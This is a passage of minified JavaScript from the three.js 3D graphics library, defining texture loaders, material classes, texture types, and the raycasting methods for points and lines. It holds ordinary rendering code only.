a},setCrossOrigin:function(e){this.crossOrigin=e},setPath:function(e){this.path=e}},n.DataTextureLoader=n.BinaryTextureLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager,this._parser=null},n.BinaryTextureLoader.prototype={constructor:n.BinaryTextureLoader,load:function(e,t,i,r){var o=this,a=new n.DataTexture,s=new n.XHRLoader(this.manager);return s.setResponseType("arraybuffer"),s.load(e,function(e){var i=o._parser(e);i&&(void 0!==i.image?a.image=i.image:void 0!==i.data&&(a.image.width=i.width,a.image.height=i.height,a.image.data=i.data),a.wrapS=void 0!==i.wrapS?i.wrapS:n.ClampToEdgeWrapping,a.wrapT=void 0!==i.wrapT?i.wrapT:n.ClampToEdgeWrapping,a.magFilter=void 0!==i.magFilter?i.magFilter:n.LinearFilter,a.minFilter=void 0!==i.minFilter?i.minFilter:n.LinearMipMapLinearFilter,a.anisotropy=void 0!==i.anisotropy?i.anisotropy:1,void 0!==i.format&&(a.format=i.format),void 0!==i.type&&(a.type=i.type),void 0!==i.mipmaps&&(a.mipmaps=i.mipmaps),1===i.mipmapCount&&(a.minFilter=n.LinearFilter),a.needsUpdate=!0,t&&t(a,i))},i,r),a}},n.CompressedTextureLoader=function(e){this.manager=void 0!==e?e:n.DefaultLoadingManager,this._parser=null},n.CompressedTextureLoader.prototype={constructor:n.CompressedTextureLoader,load:function(e,t,i,r){function o(o){u.load(e[o],function(e){var i=a._parser(e,!0);s[o]={width:i.width,height:i.height,format:i.format,mipmaps:i.mipmaps},l+=1,6===l&&(1===i.mipmapCount&&(c.minFilter=n.LinearFilter),c.format=i.format,c.needsUpdate=!0,t&&t(c))},i,r)}var a=this,s=[],c=new n.CompressedTexture;c.image=s;var u=new n.XHRLoader(this.manager);if(u.setPath(this.path),u.setResponseType("arraybuffer"),Array.isArray(e))for(var l=0,h=0,d=e.length;d>h;++h)o(h);else u.load(e,function(e){var i=a._parser(e,!0);if(i.isCubemap)for(var r=i.mipmaps.length/i.mipmapCount,o=0;r>o;o++){s[o]={mipmaps:[]};for(var u=0;u<i.mipmapCount;u++)s[o].mipmaps.push(i.mipmaps[o*i.mipmapCount+u]),s[o].format=i.format,s[o].width=i.width,s[o].height=i.height}else c.image.width=i.width,c.image.height=i.height,c.mipmaps=i.mipmaps;1===i.mipmapCount&&(c.minFilter=n.LinearFilter),c.format=i.format,c.needsUpdate=!0,t&&t(c)},i,r);return c},setPath:function(e){this.path=e}},n.Material=function(){Object.defineProperty(this,"id",{value:n.MaterialIdCount++}),this.uuid=n.Math.generateUUID(),this.name="",this.type="Material",this.side=n.FrontSide,this.opacity=1,this.transparent=!1,this.blending=n.NormalBlending,this.blendSrc=n.SrcAlphaFactor,this.blendDst=n.OneMinusSrcAlphaFactor,this.blendEquation=n.AddEquation,this.blendSrcAlpha=null,this.blendDstAlpha=null,this.blendEquationAlpha=null,this.depthFunc=n.LessEqualDepth,this.depthTest=!0,this.depthWrite=!0,this.clippingPlanes=null,this.clipShadows=!1,this.colorWrite=!0,this.precision=null,this.polygonOffset=!1,this.polygonOffsetFactor=0,this.polygonOffsetUnits=0,this.alphaTest=0,this.premultipliedAlpha=!1,this.overdraw=0,this.visible=!0,this._needsUpdate=!0},n.Material.prototype={constructor:n.Material,get needsUpdate(){return this._needsUpdate},set needsUpdate(e){e===!0&&this.update(),this._needsUpdate=e},setValues:function(e){if(void 0!==e)for(var t in e){var i=e[t];if(void 0!==i){var r=this[t];void 0!==r?r instanceof n.Color?r.set(i):r instanceof n.Vector3&&i instanceof n.Vector3?r.copy(i):this[t]="overdraw"===t?Number(i):i:console.warn("THREE."+this.type+": '"+t+"' is not a property of this material.")}else console.warn("THREE.Material: '"+t+"' parameter is undefined.")}},toJSON:function(e){function t(e){var t=[];for(var i in e){var r=e[i];delete r.metadata,t.push(r)}return t}var i=void 0===e;i&&(e={textures:{},images:{}});var r={metadata:{version:4.4,type:"Material",generator:"Material.toJSON"}};if(r.uuid=this.uuid,r.type=this.type,""!==this.name&&(r.name=this.name),this.color instanceof n.Color&&(r.color=this.color.getHex()),.5!==this.roughness&&(r.roughness=this.roughness),.5!==this.metalness&&(r.metalness=this.metalness),this.emissive instanceof n.Color&&(r.emissive=this.emissive.getHex()),this.specular instanceof n.Color&&(r.specular=this.specular.getHex()),void 0!==this.shininess&&(r.shininess=this.shininess),this.map instanceof n.Texture&&(r.map=this.map.toJSON(e).uuid),this.alphaMap instanceof n.Texture&&(r.alphaMap=this.alphaMap.toJSON(e).uuid),this.lightMap instanceof n.Texture&&(r.lightMap=this.lightMap.toJSON(e).uuid),this.bumpMap instanceof n.Texture&&(r.bumpMap=this.bumpMap.toJSON(e).uuid,r.bumpScale=this.bumpScale),this.normalMap instanceof n.Texture&&(r.normalMap=this.normalMap.toJSON(e).uuid,r.normalScale=this.normalScale.toArray()),this.displacementMap instanceof n.Texture&&(r.displacementMap=this.displacementMap.toJSON(e).uuid,r.displacementScale=this.displacementScale,r.displacementBias=this.displacementBias),this.roughnessMap instanceof n.Texture&&(r.roughnessMap=this.roughnessMap.toJSON(e).uuid),this.metalnessMap instanceof n.Texture&&(r.metalnessMap=this.metalnessMap.toJSON(e).uuid),this.emissiveMap instanceof n.Texture&&(r.emissiveMap=this.emissiveMap.toJSON(e).uuid),this.specularMap instanceof n.Texture&&(r.specularMap=this.specularMap.toJSON(e).uuid),this.envMap instanceof n.Texture&&(r.envMap=this.envMap.toJSON(e).uuid,r.reflectivity=this.reflectivity),void 0!==this.size&&(r.size=this.size),void 0!==this.sizeAttenuation&&(r.sizeAttenuation=this.sizeAttenuation),void 0!==this.vertexColors&&this.vertexColors!==n.NoColors&&(r.vertexColors=this.vertexColors),void 0!==this.shading&&this.shading!==n.SmoothShading&&(r.shading=this.shading),void 0!==this.blending&&this.blending!==n.NormalBlending&&(r.blending=this.blending),void 0!==this.side&&this.side!==n.FrontSide&&(r.side=this.side),this.opacity<1&&(r.opacity=this.opacity),this.transparent===!0&&(r.transparent=this.transparent),this.alphaTest>0&&(r.alphaTest=this.alphaTest),this.premultipliedAlpha===!0&&(r.premultipliedAlpha=this.premultipliedAlpha),this.wireframe===!0&&(r.wireframe=this.wireframe),this.wireframeLinewidth>1&&(r.wireframeLinewidth=this.wireframeLinewidth),i){var o=t(e.textures),a=t(e.images);o.length>0&&(r.textures=o),a.length>0&&(r.images=a)}return r},clone:function(){return(new this.constructor).copy(this)},copy:function(e){this.name=e.name,this.side=e.side,this.opacity=e.opacity,this.transparent=e.transparent,this.blending=e.blending,this.blendSrc=e.blendSrc,this.blendDst=e.blendDst,this.blendEquation=e.blendEquation,this.blendSrcAlpha=e.blendSrcAlpha,this.blendDstAlpha=e.blendDstAlpha,this.blendEquationAlpha=e.blendEquationAlpha,this.depthFunc=e.depthFunc,this.depthTest=e.depthTest,this.depthWrite=e.depthWrite,this.colorWrite=e.colorWrite,this.precision=e.precision,this.polygonOffset=e.polygonOffset,this.polygonOffsetFactor=e.polygonOffsetFactor,this.polygonOffsetUnits=e.polygonOffsetUnits,this.alphaTest=e.alphaTest,this.premultipliedAlpha=e.premultipliedAlpha,this.overdraw=e.overdraw,this.visible=e.visible,this.clipShadows=e.clipShadows;var t=e.clippingPlanes,i=null;if(null!==t){var r=t.length;i=new Array(r);for(var n=0;n!==r;++n)i[n]=t[n].clone()}return this.clippingPlanes=i,this},update:function(){this.dispatchEvent({type:"update"})},dispose:function(){this.dispatchEvent({type:"dispose"})}},n.EventDispatcher.prototype.apply(n.Material.prototype),n.MaterialIdCount=0,n.LineBasicMaterial=function(e){n.Material.call(this),this.type="LineBasicMaterial",this.color=new n.Color(16777215),this.linewidth=1,this.linecap="round",this.linejoin="round",this.blending=n.NormalBlending,this.vertexColors=n.NoColors,this.fog=!0,this.setValues(e)},n.LineBasicMaterial.prototype=Object.create(n.Material.prototype),n.LineBasicMaterial.prototype.constructor=n.LineBasicMaterial,n.LineBasicMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.linewidth=e.linewidth,this.linecap=e.linecap,this.linejoin=e.linejoin,this.vertexColors=e.vertexColors,this.fog=e.fog,this},n.LineDashedMaterial=function(e){n.Material.call(this),this.type="LineDashedMaterial",this.color=new n.Color(16777215),this.linewidth=1,this.scale=1,this.dashSize=3,this.gapSize=1,this.blending=n.NormalBlending,this.vertexColors=n.NoColors,this.fog=!0,this.setValues(e)},n.LineDashedMaterial.prototype=Object.create(n.Material.prototype),n.LineDashedMaterial.prototype.constructor=n.LineDashedMaterial,n.LineDashedMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.linewidth=e.linewidth,this.scale=e.scale,this.dashSize=e.dashSize,this.gapSize=e.gapSize,this.vertexColors=e.vertexColors,this.fog=e.fog,this},n.MeshBasicMaterial=function(e){n.Material.call(this),this.type="MeshBasicMaterial",this.color=new n.Color(16777215),this.map=null,this.aoMap=null,this.aoMapIntensity=1,this.specularMap=null,this.alphaMap=null,this.envMap=null,this.combine=n.MultiplyOperation,this.reflectivity=1,this.refractionRatio=.98,this.fog=!0,this.shading=n.SmoothShading,this.blending=n.NormalBlending,this.wireframe=!1,this.wireframeLinewidth=1,this.wireframeLinecap="round",this.wireframeLinejoin="round",this.vertexColors=n.NoColors,this.skinning=!1,this.morphTargets=!1,this.setValues(e)},n.MeshBasicMaterial.prototype=Object.create(n.Material.prototype),n.MeshBasicMaterial.prototype.constructor=n.MeshBasicMaterial,n.MeshBasicMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.map=e.map,this.aoMap=e.aoMap,this.aoMapIntensity=e.aoMapIntensity,this.specularMap=e.specularMap,this.alphaMap=e.alphaMap,this.envMap=e.envMap,this.combine=e.combine,this.reflectivity=e.reflectivity,this.refractionRatio=e.refractionRatio,this.fog=e.fog,this.shading=e.shading,this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this.wireframeLinecap=e.wireframeLinecap,this.wireframeLinejoin=e.wireframeLinejoin,this.vertexColors=e.vertexColors,this.skinning=e.skinning,this.morphTargets=e.morphTargets,this},n.MeshDepthMaterial=function(e){n.Material.call(this),this.type="MeshDepthMaterial",this.depthPacking=n.BasicDepthPacking,this.skinning=!1,this.morphTargets=!1,this.map=null,this.alphaMap=null,this.displacementMap=null,this.displacementScale=1,this.displacementBias=0,this.wireframe=!1,this.wireframeLinewidth=1,this.setValues(e)},n.MeshDepthMaterial.prototype=Object.create(n.Material.prototype),n.MeshDepthMaterial.prototype.constructor=n.MeshDepthMaterial,n.MeshDepthMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.depthPacking=e.depthPacking,this.skinning=e.skinning,this.morphTargets=e.morphTargets,this.map=e.map,this.alphaMap=e.alphaMap,this.displacementMap=e.displacementMap,this.displacementScale=e.displacementScale,this.displacementBias=e.displacementBias,this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this},n.MeshLambertMaterial=function(e){n.Material.call(this),this.type="MeshLambertMaterial",this.color=new n.Color(16777215),this.map=null,this.lightMap=null,this.lightMapIntensity=1,this.aoMap=null,this.aoMapIntensity=1,this.emissive=new n.Color(0),this.emissiveIntensity=1,this.emissiveMap=null,this.specularMap=null,this.alphaMap=null,this.envMap=null,this.combine=n.MultiplyOperation,this.reflectivity=1,this.refractionRatio=.98,this.fog=!0,this.blending=n.NormalBlending,this.wireframe=!1,this.wireframeLinewidth=1,this.wireframeLinecap="round",this.wireframeLinejoin="round",this.vertexColors=n.NoColors,this.skinning=!1,this.morphTargets=!1,this.morphNormals=!1,this.setValues(e)},n.MeshLambertMaterial.prototype=Object.create(n.Material.prototype),n.MeshLambertMaterial.prototype.constructor=n.MeshLambertMaterial,n.MeshLambertMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.map=e.map,this.lightMap=e.lightMap,this.lightMapIntensity=e.lightMapIntensity,this.aoMap=e.aoMap,this.aoMapIntensity=e.aoMapIntensity,this.emissive.copy(e.emissive),this.emissiveMap=e.emissiveMap,this.emissiveIntensity=e.emissiveIntensity,this.specularMap=e.specularMap,this.alphaMap=e.alphaMap,this.envMap=e.envMap,this.combine=e.combine,this.reflectivity=e.reflectivity,this.refractionRatio=e.refractionRatio,this.fog=e.fog,this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this.wireframeLinecap=e.wireframeLinecap,this.wireframeLinejoin=e.wireframeLinejoin,this.vertexColors=e.vertexColors,this.skinning=e.skinning,this.morphTargets=e.morphTargets,this.morphNormals=e.morphNormals,this},n.MeshNormalMaterial=function(e){n.Material.call(this,e),this.type="MeshNormalMaterial",this.wireframe=!1,this.wireframeLinewidth=1,this.morphTargets=!1,this.setValues(e)},n.MeshNormalMaterial.prototype=Object.create(n.Material.prototype),n.MeshNormalMaterial.prototype.constructor=n.MeshNormalMaterial,n.MeshNormalMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this},n.MeshPhongMaterial=function(e){n.Material.call(this),this.type="MeshPhongMaterial",this.color=new n.Color(16777215),this.specular=new n.Color(1118481),this.shininess=30,this.map=null,this.lightMap=null,this.lightMapIntensity=1,this.aoMap=null,this.aoMapIntensity=1,this.emissive=new n.Color(0),this.emissiveIntensity=1,this.emissiveMap=null,this.bumpMap=null,this.bumpScale=1,this.normalMap=null,this.normalScale=new n.Vector2(1,1),this.displacementMap=null,this.displacementScale=1,this.displacementBias=0,this.specularMap=null,this.alphaMap=null,this.envMap=null,this.combine=n.MultiplyOperation,this.reflectivity=1,this.refractionRatio=.98,this.fog=!0,this.shading=n.SmoothShading,this.blending=n.NormalBlending,this.wireframe=!1,this.wireframeLinewidth=1,this.wireframeLinecap="round",this.wireframeLinejoin="round",this.vertexColors=n.NoColors,this.skinning=!1,this.morphTargets=!1,this.morphNormals=!1,this.setValues(e)},n.MeshPhongMaterial.prototype=Object.create(n.Material.prototype),n.MeshPhongMaterial.prototype.constructor=n.MeshPhongMaterial,n.MeshPhongMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.specular.copy(e.specular),this.shininess=e.shininess,this.map=e.map,this.lightMap=e.lightMap,this.lightMapIntensity=e.lightMapIntensity,this.aoMap=e.aoMap,this.aoMapIntensity=e.aoMapIntensity,this.emissive.copy(e.emissive),this.emissiveMap=e.emissiveMap,this.emissiveIntensity=e.emissiveIntensity,this.bumpMap=e.bumpMap,this.bumpScale=e.bumpScale,this.normalMap=e.normalMap,this.normalScale.copy(e.normalScale),this.displacementMap=e.displacementMap,this.displacementScale=e.displacementScale,this.displacementBias=e.displacementBias,this.specularMap=e.specularMap,this.alphaMap=e.alphaMap,this.envMap=e.envMap,this.combine=e.combine,this.reflectivity=e.reflectivity,this.refractionRatio=e.refractionRatio,this.fog=e.fog,this.shading=e.shading,this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this.wireframeLinecap=e.wireframeLinecap,this.wireframeLinejoin=e.wireframeLinejoin,this.vertexColors=e.vertexColors,this.skinning=e.skinning,this.morphTargets=e.morphTargets,this.morphNormals=e.morphNormals,this},n.MeshStandardMaterial=function(e){n.Material.call(this),this.defines={
STANDARD:""},this.type="MeshStandardMaterial",this.color=new n.Color(16777215),this.roughness=.5,this.metalness=.5,this.map=null,this.lightMap=null,this.lightMapIntensity=1,this.aoMap=null,this.aoMapIntensity=1,this.emissive=new n.Color(0),this.emissiveIntensity=1,this.emissiveMap=null,this.bumpMap=null,this.bumpScale=1,this.normalMap=null,this.normalScale=new n.Vector2(1,1),this.displacementMap=null,this.displacementScale=1,this.displacementBias=0,this.roughnessMap=null,this.metalnessMap=null,this.alphaMap=null,this.envMap=null,this.envMapIntensity=1,this.refractionRatio=.98,this.fog=!0,this.shading=n.SmoothShading,this.blending=n.NormalBlending,this.wireframe=!1,this.wireframeLinewidth=1,this.wireframeLinecap="round",this.wireframeLinejoin="round",this.vertexColors=n.NoColors,this.skinning=!1,this.morphTargets=!1,this.morphNormals=!1,this.setValues(e)},n.MeshStandardMaterial.prototype=Object.create(n.Material.prototype),n.MeshStandardMaterial.prototype.constructor=n.MeshStandardMaterial,n.MeshStandardMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.defines={STANDARD:""},this.color.copy(e.color),this.roughness=e.roughness,this.metalness=e.metalness,this.map=e.map,this.lightMap=e.lightMap,this.lightMapIntensity=e.lightMapIntensity,this.aoMap=e.aoMap,this.aoMapIntensity=e.aoMapIntensity,this.emissive.copy(e.emissive),this.emissiveMap=e.emissiveMap,this.emissiveIntensity=e.emissiveIntensity,this.bumpMap=e.bumpMap,this.bumpScale=e.bumpScale,this.normalMap=e.normalMap,this.normalScale.copy(e.normalScale),this.displacementMap=e.displacementMap,this.displacementScale=e.displacementScale,this.displacementBias=e.displacementBias,this.roughnessMap=e.roughnessMap,this.metalnessMap=e.metalnessMap,this.alphaMap=e.alphaMap,this.envMap=e.envMap,this.envMapIntensity=e.envMapIntensity,this.refractionRatio=e.refractionRatio,this.fog=e.fog,this.shading=e.shading,this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this.wireframeLinecap=e.wireframeLinecap,this.wireframeLinejoin=e.wireframeLinejoin,this.vertexColors=e.vertexColors,this.skinning=e.skinning,this.morphTargets=e.morphTargets,this.morphNormals=e.morphNormals,this},n.MeshPhysicalMaterial=function(e){n.MeshStandardMaterial.call(this),this.defines={PHYSICAL:""},this.type="MeshPhysicalMaterial",this.reflectivity=.5,this.setValues(e)},n.MeshPhysicalMaterial.prototype=Object.create(n.MeshStandardMaterial.prototype),n.MeshPhysicalMaterial.prototype.constructor=n.MeshPhysicalMaterial,n.MeshPhysicalMaterial.prototype.copy=function(e){return n.MeshStandardMaterial.prototype.copy.call(this,e),this.defines={PHYSICAL:""},this.reflectivity=e.reflectivity,this},n.MultiMaterial=function(e){this.uuid=n.Math.generateUUID(),this.type="MultiMaterial",this.materials=e instanceof Array?e:[],this.visible=!0},n.MultiMaterial.prototype={constructor:n.MultiMaterial,toJSON:function(e){for(var t={metadata:{version:4.2,type:"material",generator:"MaterialExporter"},uuid:this.uuid,type:this.type,materials:[]},i=this.materials,r=0,n=i.length;n>r;r++){var o=i[r].toJSON(e);delete o.metadata,t.materials.push(o)}return t.visible=this.visible,t},clone:function(){for(var e=new this.constructor,t=0;t<this.materials.length;t++)e.materials.push(this.materials[t].clone());return e.visible=this.visible,e}},n.PointsMaterial=function(e){n.Material.call(this),this.type="PointsMaterial",this.color=new n.Color(16777215),this.map=null,this.size=1,this.sizeAttenuation=!0,this.blending=n.NormalBlending,this.vertexColors=n.NoColors,this.fog=!0,this.setValues(e)},n.PointsMaterial.prototype=Object.create(n.Material.prototype),n.PointsMaterial.prototype.constructor=n.PointsMaterial,n.PointsMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.map=e.map,this.size=e.size,this.sizeAttenuation=e.sizeAttenuation,this.vertexColors=e.vertexColors,this.fog=e.fog,this},n.ShaderMaterial=function(e){n.Material.call(this),this.type="ShaderMaterial",this.defines={},this.uniforms={},this.vertexShader="void main() {\n gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );\n}",this.fragmentShader="void main() {\n gl_FragColor = vec4( 1.0, 0.0, 0.0, 1.0 );\n}",this.shading=n.SmoothShading,this.linewidth=1,this.wireframe=!1,this.wireframeLinewidth=1,this.fog=!1,this.lights=!1,this.clipping=!1,this.vertexColors=n.NoColors,this.skinning=!1,this.morphTargets=!1,this.morphNormals=!1,this.extensions={derivatives:!1,fragDepth:!1,drawBuffers:!1,shaderTextureLOD:!1},this.defaultAttributeValues={color:[1,1,1],uv:[0,0],uv2:[0,0]},this.index0AttributeName=void 0,void 0!==e&&(void 0!==e.attributes&&console.error("THREE.ShaderMaterial: attributes should now be defined in THREE.BufferGeometry instead."),this.setValues(e))},n.ShaderMaterial.prototype=Object.create(n.Material.prototype),n.ShaderMaterial.prototype.constructor=n.ShaderMaterial,n.ShaderMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.fragmentShader=e.fragmentShader,this.vertexShader=e.vertexShader,this.uniforms=n.UniformsUtils.clone(e.uniforms),this.defines=e.defines,this.shading=e.shading,this.wireframe=e.wireframe,this.wireframeLinewidth=e.wireframeLinewidth,this.fog=e.fog,this.lights=e.lights,this.clipping=e.clipping,this.vertexColors=e.vertexColors,this.skinning=e.skinning,this.morphTargets=e.morphTargets,this.morphNormals=e.morphNormals,this.extensions=e.extensions,this},n.ShaderMaterial.prototype.toJSON=function(e){var t=n.Material.prototype.toJSON.call(this,e);return t.uniforms=this.uniforms,t.vertexShader=this.vertexShader,t.fragmentShader=this.fragmentShader,t},n.RawShaderMaterial=function(e){n.ShaderMaterial.call(this,e),this.type="RawShaderMaterial"},n.RawShaderMaterial.prototype=Object.create(n.ShaderMaterial.prototype),n.RawShaderMaterial.prototype.constructor=n.RawShaderMaterial,n.SpriteMaterial=function(e){n.Material.call(this),this.type="SpriteMaterial",this.color=new n.Color(16777215),this.map=null,this.rotation=0,this.fog=!1,this.setValues(e)},n.SpriteMaterial.prototype=Object.create(n.Material.prototype),n.SpriteMaterial.prototype.constructor=n.SpriteMaterial,n.SpriteMaterial.prototype.copy=function(e){return n.Material.prototype.copy.call(this,e),this.color.copy(e.color),this.map=e.map,this.rotation=e.rotation,this.fog=e.fog,this},n.Texture=function(e,t,i,r,o,a,s,c,u,l){Object.defineProperty(this,"id",{value:n.TextureIdCount++}),this.uuid=n.Math.generateUUID(),this.name="",this.sourceFile="",this.image=void 0!==e?e:n.Texture.DEFAULT_IMAGE,this.mipmaps=[],this.mapping=void 0!==t?t:n.Texture.DEFAULT_MAPPING,this.wrapS=void 0!==i?i:n.ClampToEdgeWrapping,this.wrapT=void 0!==r?r:n.ClampToEdgeWrapping,this.magFilter=void 0!==o?o:n.LinearFilter,this.minFilter=void 0!==a?a:n.LinearMipMapLinearFilter,this.anisotropy=void 0!==u?u:1,this.format=void 0!==s?s:n.RGBAFormat,this.type=void 0!==c?c:n.UnsignedByteType,this.offset=new n.Vector2(0,0),this.repeat=new n.Vector2(1,1),this.generateMipmaps=!0,this.premultiplyAlpha=!1,this.flipY=!0,this.unpackAlignment=4,this.encoding=void 0!==l?l:n.LinearEncoding,this.version=0,this.onUpdate=null},n.Texture.DEFAULT_IMAGE=void 0,n.Texture.DEFAULT_MAPPING=n.UVMapping,n.Texture.prototype={constructor:n.Texture,set needsUpdate(e){e===!0&&this.version++},clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.image=e.image,this.mipmaps=e.mipmaps.slice(0),this.mapping=e.mapping,this.wrapS=e.wrapS,this.wrapT=e.wrapT,this.magFilter=e.magFilter,this.minFilter=e.minFilter,this.anisotropy=e.anisotropy,this.format=e.format,this.type=e.type,this.offset.copy(e.offset),this.repeat.copy(e.repeat),this.generateMipmaps=e.generateMipmaps,this.premultiplyAlpha=e.premultiplyAlpha,this.flipY=e.flipY,this.unpackAlignment=e.unpackAlignment,this.encoding=e.encoding,this},toJSON:function(e){function t(e){var t;return void 0!==e.toDataURL?t=e:(t=document.createElement("canvas"),t.width=e.width,t.height=e.height,t.getContext("2d").drawImage(e,0,0,e.width,e.height)),t.width>2048||t.height>2048?t.toDataURL("image/jpeg",.6):t.toDataURL("image/png")}if(void 0!==e.textures[this.uuid])return e.textures[this.uuid];var i={metadata:{version:4.4,type:"Texture",generator:"Texture.toJSON"},uuid:this.uuid,name:this.name,mapping:this.mapping,repeat:[this.repeat.x,this.repeat.y],offset:[this.offset.x,this.offset.y],wrap:[this.wrapS,this.wrapT],minFilter:this.minFilter,magFilter:this.magFilter,anisotropy:this.anisotropy};if(void 0!==this.image){var r=this.image;void 0===r.uuid&&(r.uuid=n.Math.generateUUID()),void 0===e.images[r.uuid]&&(e.images[r.uuid]={uuid:r.uuid,url:t(r)}),i.image=r.uuid}return e.textures[this.uuid]=i,i},dispose:function(){this.dispatchEvent({type:"dispose"})},transformUv:function(e){if(this.mapping===n.UVMapping){if(e.multiply(this.repeat),e.add(this.offset),e.x<0||e.x>1)switch(this.wrapS){case n.RepeatWrapping:e.x=e.x-Math.floor(e.x);break;case n.ClampToEdgeWrapping:e.x=e.x<0?0:1;break;case n.MirroredRepeatWrapping:e.x=1===Math.abs(Math.floor(e.x)%2)?Math.ceil(e.x)-e.x:e.x-Math.floor(e.x)}if(e.y<0||e.y>1)switch(this.wrapT){case n.RepeatWrapping:e.y=e.y-Math.floor(e.y);break;case n.ClampToEdgeWrapping:e.y=e.y<0?0:1;break;case n.MirroredRepeatWrapping:e.y=1===Math.abs(Math.floor(e.y)%2)?Math.ceil(e.y)-e.y:e.y-Math.floor(e.y)}this.flipY&&(e.y=1-e.y)}}},n.EventDispatcher.prototype.apply(n.Texture.prototype),n.TextureIdCount=0,n.DepthTexture=function(e,t,i,r,o,a,s,c,u){n.Texture.call(this,null,r,o,a,s,c,n.DepthFormat,i,u),this.image={width:e,height:t},this.type=void 0!==i?i:n.UnsignedShortType,this.magFilter=void 0!==s?s:n.NearestFilter,this.minFilter=void 0!==c?c:n.NearestFilter,this.flipY=!1,this.generateMipmaps=!1},n.DepthTexture.prototype=Object.create(n.Texture.prototype),n.DepthTexture.prototype.constructor=n.DepthTexture,n.CanvasTexture=function(e,t,i,r,o,a,s,c,u){n.Texture.call(this,e,t,i,r,o,a,s,c,u),this.needsUpdate=!0},n.CanvasTexture.prototype=Object.create(n.Texture.prototype),n.CanvasTexture.prototype.constructor=n.CanvasTexture,n.CubeTexture=function(e,t,i,r,o,a,s,c,u,l){e=void 0!==e?e:[],t=void 0!==t?t:n.CubeReflectionMapping,n.Texture.call(this,e,t,i,r,o,a,s,c,u,l),this.flipY=!1},n.CubeTexture.prototype=Object.create(n.Texture.prototype),n.CubeTexture.prototype.constructor=n.CubeTexture,Object.defineProperty(n.CubeTexture.prototype,"images",{get:function(){return this.image},set:function(e){this.image=e}}),n.CompressedTexture=function(e,t,i,r,o,a,s,c,u,l,h,d){n.Texture.call(this,null,a,s,c,u,l,r,o,h,d),this.image={width:t,height:i},this.mipmaps=e,this.flipY=!1,this.generateMipmaps=!1},n.CompressedTexture.prototype=Object.create(n.Texture.prototype),n.CompressedTexture.prototype.constructor=n.CompressedTexture,n.DataTexture=function(e,t,i,r,o,a,s,c,u,l,h,d){n.Texture.call(this,null,a,s,c,u,l,r,o,h,d),this.image={data:e,width:t,height:i},this.magFilter=void 0!==u?u:n.NearestFilter,this.minFilter=void 0!==l?l:n.NearestFilter,this.flipY=!1,this.generateMipmaps=!1},n.DataTexture.prototype=Object.create(n.Texture.prototype),n.DataTexture.prototype.constructor=n.DataTexture,n.VideoTexture=function(e,t,i,r,o,a,s,c,u){function l(){requestAnimationFrame(l),e.readyState>=e.HAVE_CURRENT_DATA&&(h.needsUpdate=!0)}n.Texture.call(this,e,t,i,r,o,a,s,c,u),this.generateMipmaps=!1;var h=this;l()},n.VideoTexture.prototype=Object.create(n.Texture.prototype),n.VideoTexture.prototype.constructor=n.VideoTexture,n.Group=function(){n.Object3D.call(this),this.type="Group"},n.Group.prototype=Object.create(n.Object3D.prototype),n.Group.prototype.constructor=n.Group,n.Points=function(e,t){n.Object3D.call(this),this.type="Points",this.geometry=void 0!==e?e:new n.Geometry,this.material=void 0!==t?t:new n.PointsMaterial({color:16777215*Math.random()})},n.Points.prototype=Object.create(n.Object3D.prototype),n.Points.prototype.constructor=n.Points,n.Points.prototype.raycast=function(){var e=new n.Matrix4,t=new n.Ray,i=new n.Sphere;return function(r,o){function a(e,i){var n=t.distanceSqToPoint(e);if(d>n){var a=t.closestPointToPoint(e);a.applyMatrix4(u);var c=r.ray.origin.distanceTo(a);if(c<r.near||c>r.far)return;o.push({distance:c,distanceToRay:Math.sqrt(n),point:a.clone(),index:i,face:null,object:s})}}var s=this,c=this.geometry,u=this.matrixWorld,l=r.params.Points.threshold;if(null===c.boundingSphere&&c.computeBoundingSphere(),i.copy(c.boundingSphere),i.applyMatrix4(u),r.ray.intersectsSphere(i)!==!1){e.getInverse(u),t.copy(r.ray).applyMatrix4(e);var h=l/((this.scale.x+this.scale.y+this.scale.z)/3),d=h*h,p=new n.Vector3;if(c instanceof n.BufferGeometry){var f=c.index,m=c.attributes,g=m.position.array;if(null!==f)for(var v=f.array,y=0,M=v.length;M>y;y++){var A=v[y];p.fromArray(g,3*A),a(p,A)}else for(var y=0,x=g.length/3;x>y;y++)p.fromArray(g,3*y),a(p,y)}else for(var w=c.vertices,y=0,x=w.length;x>y;y++)a(w[y],y)}}}(),n.Points.prototype.clone=function(){return new this.constructor(this.geometry,this.material).copy(this)},n.Line=function(e,t,i){return 1===i?(console.warn("THREE.Line: parameter THREE.LinePieces no longer supported. Created THREE.LineSegments instead."),new n.LineSegments(e,t)):(n.Object3D.call(this),this.type="Line",this.geometry=void 0!==e?e:new n.Geometry,void(this.material=void 0!==t?t:new n.LineBasicMaterial({color:16777215*Math.random()})))},n.Line.prototype=Object.create(n.Object3D.prototype),n.Line.prototype.constructor=n.Line,n.Line.prototype.raycast=function(){var e=new n.Matrix4,t=new n.Ray,i=new n.Sphere;return function(r,o){var a=r.linePrecision,s=a*a,c=this.geometry,u=this.matrixWorld;if(null===c.boundingSphere&&c.computeBoundingSphere(),i.copy(c.boundingSphere),i.applyMatrix4(u),r.ray.intersectsSphere(i)!==!1){e.getInverse(u),t.copy(r.ray).applyMatrix4(e);var l=new n.Vector3,h=new n.Vector3,d=new n.Vector3,p=new n.Vector3,f=this instanceof 